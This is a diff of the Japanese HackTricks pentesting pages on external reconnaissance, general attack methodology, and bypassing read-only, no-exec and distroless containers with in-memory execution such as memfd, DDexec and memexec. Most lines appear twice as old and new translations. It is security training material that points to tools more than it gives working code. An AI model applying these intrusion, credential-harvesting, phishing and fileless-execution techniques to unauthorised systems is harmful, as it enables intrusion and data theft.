**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスで、**脆弱性を見つけることができるかもしれません**。
**ホストをスキャンする方法に関する**[**ガイド**](../pentesting-network/)を見つけてください。
## ウェブサーバーハンティング
> すべての企業とその資産を見つけ、スコープ内のIPレンジ、ドメイン、サブドメインを知っています。ウェブサーバーを探す時間です。
> すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、サブドメインを知っています。ウェブサーバーを探す時間です。
前のステップで、**発見されたIPとドメインのいくつかのリコンをすでに実行しているかもしれません**ので、**すでにすべての可能なウェブサーバーを見つけているかもしれません**。しかし、見つけていない場合は、スコープ内のウェブサーバーを検索するための**迅速なトリック**を見ていきます。
前のステップで、**発見されたIPとドメインのいくつかのリコンをすでに実行しているかもしれません**ので、**すでにすべての可能なウェブサーバーを見つけているかもしれません**。しかし、見つけていない場合は、スコープ内の**ウェブサーバーを検索するためのいくつかの迅速なトリック**を見ていきます。
これは**ウェブアプリの発見**に向けられているため、**脆弱性**と**ポートスキャン**も実行する必要があります(**スコープによって許可されている場合**)。
**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**を使用することができます](../pentesting-network/#http-port-discovery)。\
**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**を使用してここにあります](../pentesting-network/#http-port-discovery)。\
ウェブサーバーを探すためのもう一つの便利なツールは、[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すだけで、ポート80httpと443httpsに接続しようとします。さらに、他のポートを試すように指示することもできます
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
@ -524,15 +524,15 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## パブリッククラウド資産
会社に属する潜在的なクラウド資産を見つけるためには、**その会社を特定するキーワードのリストから始めるべきです**。例えば、暗号通貨会社の場合、次のような単語を使用することができます:`"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`。
会社に属する潜在的なクラウド資産を見つけるためには、**その会社を特定するキーワードのリストから始めるべきです**。たとえば、暗号通貨会社の場合、次のような単語を使用することがあります:`"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`。
また、**バケットで使用される一般的な単語のワードリスト**も必要です:
**バケットで使用される一般的な単語のワードリスト**も必要です:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
次に、それらの単語を使用して**順列**を生成する必要があります(詳細については[**第二ラウンドDNSブルートフォース**](./#second-dns-bruteforce-round)を参照してください)。
次に、それらの単語を使用して**順列**を生成する必要があります(詳細については[**第二ラウンドDNSブルートフォース**](./#second-dns-bruteforce-round)を確認してください)。
得られたワードリストを使用して、[**cloud\_enum**](https://github.com/initstring/cloud\_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。**
@ -540,11 +540,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **脆弱性の検索**
**オープンバケットや公開されたクラウド機能**などを見つけた場合は、それに**アクセスして**、何を提供しているのか、どのように悪用できるかを確認するべきです。
**オープンバケットや公開されたクラウド機能**などを見つけた場合は、それに**アクセスして**、何を提供しているのか、悪用できるかどうかを確認するべきです。
## メール
スコープ内の**ドメイン**と**サブドメイン**を使って、**メールを検索するために必要なすべての情報**を基本的に持っています。これらは、会社のメールを見つけるために私が最も効果的だと感じた**API**と**ツール**です:
スコープ内の**ドメイン**と**サブドメイン**を持っているので、**メールを検索するために必要なすべてのものがあります**。これらは、会社のメールを見つけるために私が最も効果的だと感じた**API**と**ツール**です:
* [**theHarvester**](https://github.com/laramies/theHarvester) - APIを使用
* [**https://hunter.io/**](https://hunter.io/)のAPI無料版
@ -553,11 +553,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **脆弱性の検索**
メールは、**ウェブログインや認証サービス**SSHなどを**ブルートフォース**する際に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ、メールの背後にいる**人物に関するさらなる情報**を提供します。
メールは後で**ウェブログインや認証サービス**SSHなどを**ブルートフォース**するのに役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ、メールの背後にいる**人物に関するさらなる情報**を提供します。
## 資格情報の漏洩
**ドメイン**、**サブドメイン**、および**メール**を使用して、過去に漏洩した資格情報を探し始めることができます:
**ドメイン、** **サブドメイン、** **メール**を使用して、過去に漏洩した資格情報を探し始めることができます:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
@ -568,14 +568,14 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## 秘密の漏洩
資格情報の漏洩は、**機密情報が漏洩し販売された**企業のハッキングに関連しています。しかし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります:
資格情報の漏洩は、**機密情報が漏洩し販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります:
### Githubの漏洩
資格情報やAPIは、**会社**やその**ユーザー**の**公開リポジトリ**で漏洩する可能性があります。\
**Leakos**という**ツール**を使用して、**組織**とその**開発者**のすべての**公開リポジトリ**を**ダウンロード**し、自動的に[**gitleaks**](https://github.com/zricethezav/gitleaks)を実行できます。
**Leakos**は、提供された**URLに渡された**すべての**テキスト**に対して**gitleaks**を実行するためにも使用できます。時には**ウェブページにも秘密が含まれている**ことがあります。
**Leakos**は、提供された**URL**に対して**gitleaks**を実行するためにも使用でき時には**ウェブページにも秘密が含まれている**ことがあります。
#### Github Dorks
@ -587,7 +587,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### Pasteの漏洩
時には攻撃者や単なる従業員が**会社のコンテンツをペーストサイトに公開**します。これには**機密情報**が含まれている場合と含まれていない場合がありますが、検索するのは非常に興味深いです。\
時には攻撃者や単なる従業員が**会社のコンテンツをペーストサイトに公開**します。これには**機密情報**が含まれている場合もあれば、含まれていない場合もありますが、検索するのは非常に興味深いです。\
[**Pastos**](https://github.com/carlospolop/Pastos)というツールを使用して、80以上のペーストサイトを同時に検索できます。
### Google Dorks
@ -624,17 +624,17 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
> おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、基本的なことです。さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。
したがって、すでに次のことを行っています
したがって、すでに次のことを行いました
1. スコープ内のすべての**会社**を見つけた
2. 会社に属するすべての**資産**を見つけた(スコープ内で脆弱性スキャンを実行)
3. 会社に属するすべての**ドメイン**を見つけた
4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りは?)
4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りはありますか
5. スコープ内のすべての**IP**CDNからのものとそうでないものを見つけた
6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(深く見る価値のある奇妙なものは?)
6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(より深く見る価値のある奇妙なものはありますか
7. 会社に属するすべての**潜在的なパブリッククラウド資産**を見つけた
8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得ることができる**
9. 見つけたすべてのウェブを**ペンテスト**
8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得ることができる**
9. **見つけたすべてのウェブをペンテストする**
## **フルリコン自動ツール**
@ -643,28 +643,28 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 少し古く、更新されていない
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 少し古く、更新されていません
## **参考文献**
* [**@Jhaddix**](https://twitter.com/Jhaddix)のすべての無料コース、例えば[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください**
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>

View file

@ -15,7 +15,7 @@ GCPハッキングを学び、実践する<img src="../.gitbook/assets/grte.p
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
@ -36,17 +36,17 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
**テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホストを見つける**(内部テスト)か、**インターネット上の会社の資産を見つける**(外部テスト)ことに興味があるかもしれません。
{% hint style="info" %}
外部テストを実施している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再起動する必要があります。
外部テストを実施している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再スタートする必要があります。
{% endhint %}
### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)**
**このセクションは内部テストを実施している場合にのみ適用されます。**\
ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、**データをスニッフィング**して**受動的/能動的MitM**にネットワーク内で何が見つかるかを学ぶことを好むかもしれません。[**Pentesting Network**](pentesting-network/#sniffing)を読むことができます。
ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、**データをスニッフィング**して**受動的/能動的MitM**にネットワーク内で何が見つかるかを学ぶことを好むかもしれません。[**ペンテストネットワーク**](pentesting-network/#sniffing)を読むことができます。
### 3- [ポートスキャン - サービス発見](pentesting-network/#scanning-hosts)
**ホストの脆弱性を探す**ときに最初に行うべきことは、どの**サービスがどのポートで実行されているか**を知ることです。[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。
**ホストの脆弱性を探す**ときに最初に行うべきことは、どの**サービスがどのポートで実行されているかを知る**ことです。[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。
### **4-** [サービスバージョンの脆弱性を検索する](search-exploits.md)
@ -56,30 +56,30 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
実行中のサービスに特別なエクスプロイトがない場合は、各サービスの**一般的な誤設定を探す**べきです。
**この本の中には、最も一般的なサービスをペンテストするためのガイドがあります**(あまり一般的でないサービスも含む)。左のインデックスで**_**PENTESTING**_**セクションを検索してください**(サービスはデフォルトポート順に並んでいます)。
**この本の中には、最も一般的なサービスをペンテストするためのガイドがあります**(あまり一般的でないサービスも含む)。左のインデックスで**_**ペンテスト**_**セクションを検索してください**(サービスはデフォルトポート順に並んでいます)。
**特に** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\
**特に** [**ペンテストウェブ**](../network-services-pentesting/pentesting-web/) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\
また、[**ソフトウェアの既知の脆弱性を見つける方法**](search-exploits.md)に関する小さなガイドもここにあります。
**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索し、追加してほしい場合は教えてください。** Googleで何も見つからない場合は、自分で**ブラインドペンテストを実施し、サービスに接続してファジングし、応答を読む**ことから始めることができます(あれば)。
**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索し、**追加してほしい場合はお知らせください。Googleで**何も見つからない**場合は、自分で**ブラインドペンテストを実施し、サービスに接続してファジングし、応答を読む**ことから始めることができます(あれば)。
#### 5.1 自動ツール
**自動脆弱性評価を実行できるツールもいくつかあります。** **[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは、私が作成したツールで、この本にあるペンテストサービスに関するノートに基づいています。**
#### **5.2 ブルートフォースサービス**
#### **5.2- サービスのブルートフォース**
いくつかのシナリオでは、**ブルートフォース**が**サービスを妥協する**のに役立つかもしれません。[**ここで異なるサービスのブルートフォースのチートシートを見つけてください**](brute-force.md)**。**
### 6- [フィッシング](phishing-methodology/)
この時点で興味深い脆弱性が見つからない場合は、**ネットワークに入るためにフィッシングを試みる必要があるかもしれません。**私のフィッシング手法を[こちら](phishing-methodology/)で読むことができます
この時点で興味深い脆弱性が見つからない場合は、**ネットワークに入るためにフィッシングを試みる必要があるかもしれません。**私のフィッシング手法を[こちら](phishing-methodology/)で読むことができます
### **7-** [**シェルを取得する**](reverse-shells/)
何らかの方法で、**被害者でコードを実行する方法を見つけるべきです。**その後、[リバースシェルを取得するためにシステム内で使用できる可能性のあるツールのリストが非常に役立ちます](reverse-shells/)。
特にWindowsでは、**アンチウイルスを回避するための助けが必要かもしれません**[**このページを確認してください**](../windows-hardening/av-bypass.md)**。**\\
特にWindowsでは、**アンチウイルスを回避する**ためにいくつかの助けが必要かもしれません:[**このページを確認してください**](../windows-hardening/av-bypass.md)**。**\\
### 8- 内部
@ -91,7 +91,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
### **9 -** [**データ抽出**](exfiltration.md)
被害者から**データを抽出する**必要があるか、**何かを導入する**(特権昇格スクリプトなど)必要があるかもしれません。**ここに、これらの目的で使用できる一般的なツールに関する** [**投稿があります**](exfiltration.md)**。**
おそらく、**被害者からデータを抽出する**必要があるか、**何かを導入する**必要があるでしょう(特権昇格スクリプトなど)。**ここに、これらの目的で使用できる一般的なツールに関する** [**投稿があります**](exfiltration.md)**。**
### **10- 特権昇格**
@ -106,34 +106,34 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
* Windowsで[**資格情報を盗む方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)に関するいくつかのトリック
**WindowsおよびLinuxのローカル特権昇格パスを列挙するための最良のツール確認することを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
**WindowsおよびLinuxのローカル特権昇格パスを列挙するための最良のツール確認することを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- ドメイン特権昇格**
ここに、[**Active Directoryで特権を列挙、昇格、持続るための最も一般的なアクションを説明する手法**](../windows-hardening/active-directory-methodology/)があります。このプロセスは、ペンテスト/レッドチームの任務において**非常にデリケート**である可能性があります。
ここに、[**Active Directoryで特権を列挙、昇格、持続させるための最も一般的なアクションを説明する手法**](../windows-hardening/active-directory-methodology/)があります。このプロセスは、ペンテスト/レッドチームの任務において**非常にデリケート**である可能性があります。
### 11 - POST
#### **11**.1 - ルーティング
#### **11.1 - ルーティング**
ホスト内でさらに多くの**パスワード**を見つけることができるか、**ユーザーの特権**で他のマシンに**アクセス**できるか確認してください。\
ここで、[**Windowsでパスワードをダンプするさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)を見つけてください。
#### 11.2 - 持続性
**システムを再度攻撃する必要がないように、2つまたは3つの異なる持続メカニズムを使用してください。**\
**ここに、Active Directoryでの** [**持続性のトリック**](../windows-hardening/active-directory-methodology/#persistence) **があります。**
**システムを再度攻撃する必要がないように、2つまたは3つの異なる持続メカニズムを使用してください。**\
**ここに、Active Directoryに関するいくつかの** [**持続性トリック**](../windows-hardening/active-directory-methodology/#persistence)**があります。**
TODO: WindowsおよびLinuxの持続性投稿を完成させる
TODO: WindowsとLinuxの持続性ポストを完成させる
### 12 - ピボッティング
**収集した資格情報**を使用して他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(ペンテスト手法を再度開始)。\
**収集した資格情報**他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(ペンテスト手法を再度開始)。\
この場合、トンネリングが必要になるかもしれません。[**トンネリングに関する投稿を見つけることができます**](tunneling-and-port-forwarding.md)。\
また、[Active Directoryペンテスト手法](../windows-hardening/active-directory-methodology/)に関する投稿も確認するべきです。そこでは、横移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\
[**NTLM**](../windows-hardening/ntlm/)に関するページも確認してください。Windows環境でピボッティングするのに非常に役立つかもしれません。
### もっと
### さらに
#### [Androidアプリケーション](../mobile-pentesting/android-app-pentesting/)
@ -151,7 +151,7 @@ TODO: WindowsおよびLinuxの持続性投稿を完成させる
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**パディングオラクル**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_

View file

@ -1,36 +1,36 @@
# FS保護のバイパス: 読み取り専用 / no-exec / Distroless
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です** (_流暢なポーランド語の読み書きが必要です_)。
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
## 動画
以下の動画では、このページで言及された技術がより深く説明されています
以下の動画では、このページで言及された技術がより深く説明されています:
* [**DEF CON 31 - Linuxメモリ操作の探求ステルスと回避**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**DEF CON 31 - Linuxメモリ操作の探求: ステルスと回避**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**DDexec-ngとメモリ内dlopen()によるステルス侵入 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## 読み取り専用 / no-execシナリオ
Linuxマシンが**読み取り専用roファイルシステム保護**でマウントされていることがますます一般的になっています。特にコンテナでは、**`readOnlyRootFilesystem: true`**を`securitycontext`に設定するだけで、roファイルシステムでコンテナを実行することができます
Linuxマシンが**読み取り専用 (ro) ファイルシステム保護**でマウントされることがますます一般的になっています。特にコンテナでは、**`readOnlyRootFilesystem: true`**を`securitycontext`に設定するだけで、roファイルシステムでコンテナを実行することができます:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -53,9 +53,9 @@ securityContext:
## 最も簡単なバイパス: スクリプト
バイナリについて言及したことに注意してください。インタープリタがマシン内にある限り、**任意のスクリプトを実行できます**。たとえば、`sh`が存在する場合は**シェルスクリプト**、`python`がインストールされている場合は**Pythonスクリプト**です。
バイナリについて言及したことに注意してください。インタープリタがマシン内にある限り、**任意のスクリプトを実行できます**。えば、`sh`が存在する場合は**シェルスクリプト**、`python`がインストールされている場合は**Pythonスクリプト**です。
ただし、これはバイナリバックドアや実行する必要がある他のバイナリツールを実行するには十分ではありません。
しかし、これはあなたのバイナリバックドアや他のバイナリツールを実行するには十分ではありません。
## メモリバイパス
@ -63,14 +63,14 @@ securityContext:
### FD + execシステムコールバイパス
マシン内に**Python**、**Perl**、または**Ruby**などの強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタ(`create_memfd`システムコール)に保存できます。これはこれらの保護によって保護されないため、**`exec`システムコール**を呼び出して**fdを実行するファイルとして指定**できます。
マシン内に**Python**、**Perl**、または**Ruby**のような強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタ(`create_memfd`システムコール)に保存できます。これはこれらの保護によって保護されないため、**`exec`システムコール**を呼び出して**fdを実行するファイルとして指定**できます。
これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮され、b64エンコードされ**、`create_memfd`システムコールを呼び出して作成された**fd**でそれを**デコードおよび解凍する**ための指示を含むスクリプトが生成されます。
これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮され、b64エンコードされ**、`create_memfd`システムコールを呼び出して作成された**fd**で**デコードおよび解凍する**ための指示を含むスクリプトが生成されます。
{% hint style="warning" %}
これは、PHPやNodeのような他のスクリプト言語では機能しません。なぜなら、スクリプトから生のシステムコールを呼び出す**デフォルトの方法がないため**、バイナリを保存するための**メモリfd**を作成するために`create_memfd`を呼び出すことができないからです。
さらに、`/dev/shm`にファイルを持つ**通常のfd**を作成しても機能しません。なぜなら、**no-exec保護**が適用されるため、それを実行することは許可されないからです。
さらに、`/dev/shm`にファイルを持つ**通常のfd**を作成しても機能しません。なぜなら、**no-exec保護**が適用されるため、実行することが許可されないからです。
{% endhint %}
### DDexec / EverythingExec
@ -94,61 +94,61 @@ For more information about this technique check the Github or:
### MemExec
[**Memexec**](https://github.com/arget13/memexec) は DDexec の自然な次のステップです。これは **DDexec シェルコードのデーモン化** であり、異なるバイナリを **実行するたびに** DDexec を再起動する必要はなく、DDexec テクニックを介して memexec シェルコードを実行し、**このデーモンと通信して新しいバイナリを読み込んで実行する**ことができます。
[**Memexec**](https://github.com/arget13/memexec)は、DDexecの自然な次のステップです。これは**DDexecシェルコードのデーモン化**であり、異なるバイナリを**実行したいとき**にDDexecを再起動する必要はなく、DDexec技術を介してmemexecシェルコードを実行し、**このデーモンと通信して新しいバイナリを読み込んで実行する**ことができます。
**memexec を使用して PHP リバースシェルからバイナリを実行する方法の例**は [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) で見つけることができます。
**memexecを使用してPHPリバースシェルからバイナリを実行する方法の例**は[https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)で見つけることができます。
### Memdlopen
DDexec と同様の目的を持つ [**memdlopen**](https://github.com/arget13/memdlopen) テクニックは、**メモリにバイナリを読み込む** より簡単な方法を提供します。依存関係を持つバイナリを読み込むことさえ可能です。
DDexecと同様の目的を持つ[**memdlopen**](https://github.com/arget13/memdlopen)技術は、**メモリにバイナリを読み込む**ための**簡単な方法**を提供します。依存関係を持つバイナリを読み込むことも可能です。
## Distroless Bypass
### What is distroless
Distroless コンテナは、特定のアプリケーションやサービスを実行するために必要な **最小限のコンポーネント** のみを含み、ライブラリやランタイム依存関係を含みますが、パッケージマネージャー、シェル、システムユーティリティなどの大きなコンポーネントは除外されます。
Distrolessコンテナは、特定のアプリケーションやサービスを実行するために必要な**最小限のコンポーネント**(ライブラリやランタイム依存関係など)だけを含み、パッケージマネージャー、シェル、システムユーティリティなどの大きなコンポーネントは除外ます。
Distroless コンテナの目的は、**不要なコンポーネントを排除することによってコンテナの攻撃面を減少させ**、悪用可能な脆弱性の数を最小限に抑えることです。
Distrolessコンテナの目的は、**不要なコンポーネントを排除することによってコンテナの攻撃面を減少させ**、悪用可能な脆弱性の数を最小限に抑えることです。
### Reverse Shell
Distroless コンテナでは、**通常のシェルを取得するための `sh``bash`** すら見つからないかもしれません。また、`ls`、`whoami`、`id` などのバイナリも見つかりません... システムで通常実行するすべてのものです。
Distrolessコンテナでは、**通常のシェルを取得するための`sh`や`bash`**さえ見つからないかもしれません。また、`ls`、`whoami`、`id`などのバイナリも見つかりません... システムで通常実行するすべてのものです。
{% hint style="warning" %}
したがって、**リバースシェル**を取得したり、通常のようにシステムを**列挙**したりすることはできません。
したがって、**リバースシェル**を取得したり、通常のように**システムを列挙**したりすることは**できません**
{% endhint %}
しかし、もし侵害されたコンテナが例えば Flask ウェブを実行している場合、Python がインストールされているため、**Python リバースシェル**を取得できます。Node.js を実行している場合は Node リバースシェルを取得でき、ほとんどの **スクリプト言語**でも同様です。
しかし、もし侵害されたコンテナが例えばflaskウェブを実行している場合、pythonがインストールされているため、**Pythonリバースシェル**を取得できます。nodeを実行している場合はNodeリバースシェルを取得でき、ほとんどの**スクリプト言語**でも同様です。
{% hint style="success" %}
スクリプト言語を使用することで、言語の機能を利用して**システムを列挙**することができます。
{% endhint %}
もし **`read-only/no-exec`** 保護がなければ、リバースシェルを悪用して **ファイルシステムにバイナリを書き込み**、**実行**することができます。
もし**`read-only/no-exec`**保護がなければ、リバースシェルを悪用して**ファイルシステムにバイナリを書き込み**、**実行**することができます。
{% hint style="success" %}
ただし、この種のコンテナでは通常これらの保護が存在しますが、**以前のメモリ実行テクニックを使用してそれらを回避する**ことができます。
ただし、この種のコンテナでは通常これらの保護が存在しますが、**以前のメモリ実行技術を使用してそれらを回避する**ことができます。
{% endhint %}
